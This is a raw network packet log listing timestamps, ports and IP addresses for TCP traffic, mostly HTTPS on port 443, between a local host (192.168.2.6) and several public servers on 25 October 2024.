Oct 25, 2024 10:18:48.868766069 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:48.872575998 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:48.872608900 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:48.873591900 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:48.873662949 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:48.873680115 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:48.875514030 CEST	443	49761	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:48.875569105 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:48.876183033 CEST	49761	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:48.876209974 CEST	443	49761	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:48.877094984 CEST	443	49761	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:48.877144098 CEST	49761	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:48.877151012 CEST	443	49761	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:48.877182961 CEST	49761	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:48.883683920 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:48.883738041 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:48.886979103 CEST	49761	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:48.887027025 CEST	443	49761	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:48.887346983 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:48.887351990 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:48.889437914 CEST	443	49763	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:48.890475988 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:48.890520096 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:48.890547991 CEST	49761	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:48.890553951 CEST	443	49761	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:48.890703917 CEST	49763	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:48.890711069 CEST	443	49763	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:48.891760111 CEST	443	49763	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:48.891812086 CEST	49763	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:48.891823053 CEST	443	49763	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:48.891907930 CEST	49763	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:48.894352913 CEST	49763	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:48.894401073 CEST	443	49763	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:48.894484043 CEST	49763	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:48.894489050 CEST	443	49763	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:48.894519091 CEST	49763	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:48.894543886 CEST	443	49763	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:48.941067934 CEST	49761	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:48.941251993 CEST	49763	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.038781881 CEST	443	49763	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.038851976 CEST	49763	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.038880110 CEST	443	49763	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.038919926 CEST	49763	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.039952040 CEST	49763	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.039983034 CEST	443	49763	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.040050983 CEST	49763	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.041129112 CEST	443	49761	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.042428970 CEST	443	49761	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.042479992 CEST	49761	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.042767048 CEST	49761	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.042782068 CEST	443	49761	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.046407938 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.046446085 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.046478033 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.046490908 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.046502113 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.046529055 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.162617922 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.162702084 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.164458036 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.164541960 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.164557934 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.164729118 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.165416002 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.165479898 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.165488958 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.186778069 CEST	49770	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:49.186789989 CEST	443	49770	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:49.186832905 CEST	49770	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:49.187284946 CEST	49770	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:49.187294006 CEST	443	49770	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:49.207395077 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.207474947 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.207494974 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.253815889 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.279690027 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.279704094 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.279735088 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.279798985 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.280024052 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.280318975 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.280328989 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.280376911 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.280385017 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.281505108 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.281533003 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.281549931 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.281557083 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.281588078 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.282248020 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.282305956 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.282310009 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.283056974 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.283098936 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.283103943 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.284074068 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.284133911 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.284138918 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.284143925 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.284183979 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.324732065 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.324804068 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.324826956 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.324877977 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.397290945 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.397366047 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.397387028 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.441315889 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.546458006 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.546468019 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.546540022 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.546552896 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.558897018 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.558964968 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.558969975 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.559047937 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.559117079 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.559122086 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.559483051 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.559545994 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.559551001 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.560370922 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.560429096 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.560435057 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.560597897 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.560656071 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.560661077 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.561290026 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.561355114 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.561359882 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.562206984 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.562246084 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.562263966 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.562268972 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.562293053 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.562311888 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.563082933 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.563139915 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.563144922 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.564016104 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.564049959 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.564079046 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.564084053 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.564095974 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.564129114 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.564884901 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.564943075 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.564946890 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.565009117 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.565124989 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.565131903 CEST	443	49762	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:49.565140963 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.565161943 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:49.565181971 CEST	49762	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:50.233144999 CEST	443	49770	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:50.238367081 CEST	49770	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:50.238379955 CEST	443	49770	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:50.239557028 CEST	443	49770	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:50.239636898 CEST	49770	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:50.239644051 CEST	443	49770	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:50.239686966 CEST	49770	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:50.242007971 CEST	49770	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:50.242084980 CEST	443	49770	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:50.242513895 CEST	49770	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:50.287331104 CEST	443	49770	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:50.289951086 CEST	49770	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:50.289958954 CEST	443	49770	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:50.336819887 CEST	49770	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:50.382550001 CEST	443	49770	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:50.382606983 CEST	49770	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:50.383838892 CEST	443	49770	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:50.383891106 CEST	443	49770	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:50.383936882 CEST	49770	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:50.390357018 CEST	49770	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:50.390367031 CEST	443	49770	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:50.392087936 CEST	49776	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:50.392113924 CEST	443	49776	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:50.392189980 CEST	49776	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:50.392719030 CEST	49776	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:50.392743111 CEST	443	49776	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:50.534792900 CEST	49720	80	192.168.2.6	199.232.210.172
Oct 25, 2024 10:18:50.541629076 CEST	80	49720	199.232.210.172	192.168.2.6
Oct 25, 2024 10:18:50.541703939 CEST	49720	80	192.168.2.6	199.232.210.172
Oct 25, 2024 10:18:50.616487980 CEST	49778	443	192.168.2.6	20.12.23.50
Oct 25, 2024 10:18:50.616516113 CEST	443	49778	20.12.23.50	192.168.2.6
Oct 25, 2024 10:18:50.616678953 CEST	49778	443	192.168.2.6	20.12.23.50
Oct 25, 2024 10:18:50.617688894 CEST	49778	443	192.168.2.6	20.12.23.50
Oct 25, 2024 10:18:50.617701054 CEST	443	49778	20.12.23.50	192.168.2.6
Oct 25, 2024 10:18:51.138473034 CEST	443	49776	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:51.138840914 CEST	49776	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:51.138863087 CEST	443	49776	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:51.139384985 CEST	443	49776	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:51.139851093 CEST	49776	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:51.139921904 CEST	443	49776	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:51.140234947 CEST	49776	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:51.140263081 CEST	443	49776	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:51.277846098 CEST	443	49776	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:51.277915955 CEST	49776	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:51.278846025 CEST	49776	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:51.278884888 CEST	443	49776	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:51.279010057 CEST	49776	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:51.473145008 CEST	443	49778	20.12.23.50	192.168.2.6
Oct 25, 2024 10:18:51.473254919 CEST	49778	443	192.168.2.6	20.12.23.50
Oct 25, 2024 10:18:51.476640940 CEST	49778	443	192.168.2.6	20.12.23.50
Oct 25, 2024 10:18:51.476651907 CEST	443	49778	20.12.23.50	192.168.2.6
Oct 25, 2024 10:18:51.476907015 CEST	443	49778	20.12.23.50	192.168.2.6
Oct 25, 2024 10:18:51.478759050 CEST	49778	443	192.168.2.6	20.12.23.50
Oct 25, 2024 10:18:51.523336887 CEST	443	49778	20.12.23.50	192.168.2.6
Oct 25, 2024 10:18:51.757802963 CEST	443	49778	20.12.23.50	192.168.2.6
Oct 25, 2024 10:18:51.757817984 CEST	443	49778	20.12.23.50	192.168.2.6
Oct 25, 2024 10:18:51.757854939 CEST	443	49778	20.12.23.50	192.168.2.6
Oct 25, 2024 10:18:51.757894039 CEST	49778	443	192.168.2.6	20.12.23.50
Oct 25, 2024 10:18:51.757903099 CEST	443	49778	20.12.23.50	192.168.2.6
Oct 25, 2024 10:18:51.757936954 CEST	49778	443	192.168.2.6	20.12.23.50
Oct 25, 2024 10:18:51.757955074 CEST	49778	443	192.168.2.6	20.12.23.50
Oct 25, 2024 10:18:51.759759903 CEST	443	49778	20.12.23.50	192.168.2.6
Oct 25, 2024 10:18:51.759793997 CEST	443	49778	20.12.23.50	192.168.2.6
Oct 25, 2024 10:18:51.759840012 CEST	49778	443	192.168.2.6	20.12.23.50
Oct 25, 2024 10:18:51.759844065 CEST	443	49778	20.12.23.50	192.168.2.6
Oct 25, 2024 10:18:51.759880066 CEST	49778	443	192.168.2.6	20.12.23.50
Oct 25, 2024 10:18:51.759905100 CEST	49778	443	192.168.2.6	20.12.23.50
Oct 25, 2024 10:18:51.762702942 CEST	49778	443	192.168.2.6	20.12.23.50
Oct 25, 2024 10:18:51.762711048 CEST	443	49778	20.12.23.50	192.168.2.6
Oct 25, 2024 10:18:51.762815952 CEST	49778	443	192.168.2.6	20.12.23.50
Oct 25, 2024 10:18:51.762820005 CEST	443	49778	20.12.23.50	192.168.2.6
Oct 25, 2024 10:18:51.802509069 CEST	49788	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:51.802541018 CEST	443	49788	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:51.802604914 CEST	49788	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:51.802937031 CEST	49788	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:51.802956104 CEST	443	49788	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:51.805733919 CEST	49789	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:51.805762053 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:51.805833101 CEST	49789	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:51.806099892 CEST	49789	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:51.806112051 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:52.528429031 CEST	443	49788	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:52.528908968 CEST	49788	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:52.528919935 CEST	443	49788	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:52.529829025 CEST	443	49788	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:52.529942989 CEST	49788	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:52.529949903 CEST	443	49788	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:52.530062914 CEST	49788	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:52.530998945 CEST	49788	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:52.531053066 CEST	443	49788	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:52.531213999 CEST	49788	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:52.531222105 CEST	443	49788	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:52.559750080 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:52.560148954 CEST	49789	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:52.560158968 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:52.561047077 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:52.561109066 CEST	49789	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:52.561115026 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:52.562175989 CEST	49789	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:52.562377930 CEST	49789	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:52.562417984 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:52.562638044 CEST	49789	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:52.562649965 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:52.562823057 CEST	49789	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:52.562830925 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:52.582462072 CEST	49788	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:52.614510059 CEST	49789	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:52.666847944 CEST	443	49788	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:52.666929960 CEST	49788	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:52.667538881 CEST	49788	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:52.667581081 CEST	443	49788	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:52.667648077 CEST	49788	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:52.862718105 CEST	443	49740	142.250.186.100	192.168.2.6
Oct 25, 2024 10:18:52.862883091 CEST	443	49740	142.250.186.100	192.168.2.6
Oct 25, 2024 10:18:52.862940073 CEST	49740	443	192.168.2.6	142.250.186.100
Oct 25, 2024 10:18:52.934174061 CEST	49740	443	192.168.2.6	142.250.186.100
Oct 25, 2024 10:18:52.934221029 CEST	443	49740	142.250.186.100	192.168.2.6
Oct 25, 2024 10:18:52.944396019 CEST	49794	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:52.944430113 CEST	443	49794	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:52.944520950 CEST	49794	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:52.944721937 CEST	49794	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:52.944736004 CEST	443	49794	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:53.198299885 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:53.198316097 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:53.198399067 CEST	49789	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:53.198405027 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:53.198438883 CEST	49789	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:53.199289083 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:53.199295044 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:53.199393034 CEST	49789	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:53.199403048 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:53.239809036 CEST	49789	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:53.318022013 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:53.318151951 CEST	49789	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:53.319025993 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:53.319045067 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:53.319159985 CEST	49789	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:53.319160938 CEST	49789	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:53.319186926 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:53.319395065 CEST	49789	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:53.319957972 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:53.319976091 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:53.320048094 CEST	49789	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:53.320060015 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:53.361529112 CEST	49789	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:53.362003088 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:53.362025023 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:53.362090111 CEST	49789	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:53.362134933 CEST	49789	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:53.362147093 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:53.413736105 CEST	49789	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:53.437288046 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:53.437309027 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:53.437398911 CEST	49789	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:53.437412977 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:53.438275099 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:53.438297033 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:53.438335896 CEST	49789	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:53.438359976 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:53.438406944 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:53.438442945 CEST	49789	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:53.438462973 CEST	49789	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:53.439017057 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:53.439035892 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:53.439070940 CEST	49789	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:53.439086914 CEST	49789	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:53.439105034 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:53.439860106 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:53.439917088 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:53.439928055 CEST	49789	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:53.439941883 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:53.440735102 CEST	49789	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:53.440812111 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:53.440831900 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:53.440884113 CEST	49789	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:53.440896988 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:53.440985918 CEST	49789	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:53.441711903 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:53.441792965 CEST	49789	443	192.168.2.6	52.108.9.12
